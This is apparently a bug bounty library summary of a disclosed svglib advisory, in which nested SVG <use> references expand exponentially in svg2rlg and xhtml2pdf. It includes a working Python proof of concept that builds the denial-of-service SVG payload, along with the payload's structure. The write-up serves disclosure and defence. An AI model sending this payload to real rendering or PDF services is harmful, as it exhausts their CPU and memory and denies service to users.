# svglib: Exponential resource consumption via nested <use> references in svg2rlg

svglib's svg2rlg expands nested <use> references without a limit, so a 1.4 KB SVG balloons to 100k+ nodes, exhausting CPU and memory.

- Payout: Research
- Severity: high
- Program: svglib
- Found by: gistrec, Drakie14, kedi
- Disclosed: 2026-11-20
- CVE: CVE-2026-132275
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-555j-qj3j-c8jv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-555j-qj3j-c8jv
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:python technique:source-review vuln:dos

**Target:** svg2rlg SVG renderer / xhtml2pdf HTML-to-PDF pipeline
**Root cause:** SvgRenderer.renderUse() deep-copies and recursively renders every <use> target, and xlink_href_target() only rejects direct cycles, so a fan-out reference DAG expands fully as fan**levels.
**Steps:**
1. Build an SVG with <defs> containing <rect id="l0"/> and groups l1..lN, each holding 10 `<use xlink:href="#l{i-1}"/>` elements.
2. Add a top-level `<use xlink:href="#lN"/>` and pass the bytes to `svg2rlg(io.BytesIO(data))`.
3. Observe exponential growth: levels=3 → 0.3s/42MiB, levels=4 → 2.9s/83MiB, levels=5 → 34s/469MiB from a 1409-byte document.
4. Same payload embedded as `<img src="data:image/svg+xml;base64,...">` in HTML passed to `pisa.CreatePDF()` gives 78.7s/499MiB at levels=5.
**How found:** Code reading of renderUse() showed only CircularRefError guards direct cycles; the researcher hypothesized a non-cyclic fan-out DAG would still be fully expanded and confirmed it by measuring time and RSS across increasing nesting levels.
**Exploitation:** Attacker supplies a small SVG (or HTML with an inline data: SVG image) to any service doing thumbnail/preview generation, SVG-to-PDF or report rendering; the renderer expands fan**levels nodes, pinning CPU and consuming hundreds of MiB per request, so a few concurrent submissions deny service.
**Escalation:** Reaching xhtml2pdf widens the attack surface: any HTML-to-PDF endpoint accepting user content with embedded SVG images is vulnerable, not just direct SVG upload paths.
**Insight:** Cycle detection is not enough for recursive reference expansion — test DAGs with fan-out, since N references per level multiply rather than loop; measure render time/RSS scaling with nesting depth to spot exponential blowup in any <use>/xlink/include-style resolver.

## Proof of concept (copied exactly from the original report)

**Python PoC generating nested <use> SVG payload**

```
import io, time
from svglib.svglib import svg2rlg

def make(levels, fan=10):
    parts = ['<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10"><defs>',
             '<rect id="l0" width="1" height="1"/>']
    for i in range(1, levels + 1):
        parts.append(f'<g id="l{i}">' + f'<use xlink:href="#l{i-1}"/>' * fan + '</g>')
    parts.append(f'</defs><use xlink:href="#l{levels}"/></svg>')
    return "".join(parts).encode()

for levels in (3, 4, 5):
    data = make(levels)
    t = time.time()
    svg2rlg(io.BytesIO(data))
    print(levels, len(data), f"{time.time() - t:.1f}s")
```

**Nested <use> SVG payload shape**

```
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10">
  <defs>
    <rect id="l0" width="1" height="1"/>
    <g id="l1"><use xlink:href="#l0"/> ... 10 times ... </g>
    <g id="l2"><use xlink:href="#l1"/> ... 10 times ... </g>
    ...
    <g id="l5"><use xlink:href="#l4"/> ... 10 times ... </g>
  </defs>
  <use xlink:href="#l5"/>
</svg>
```

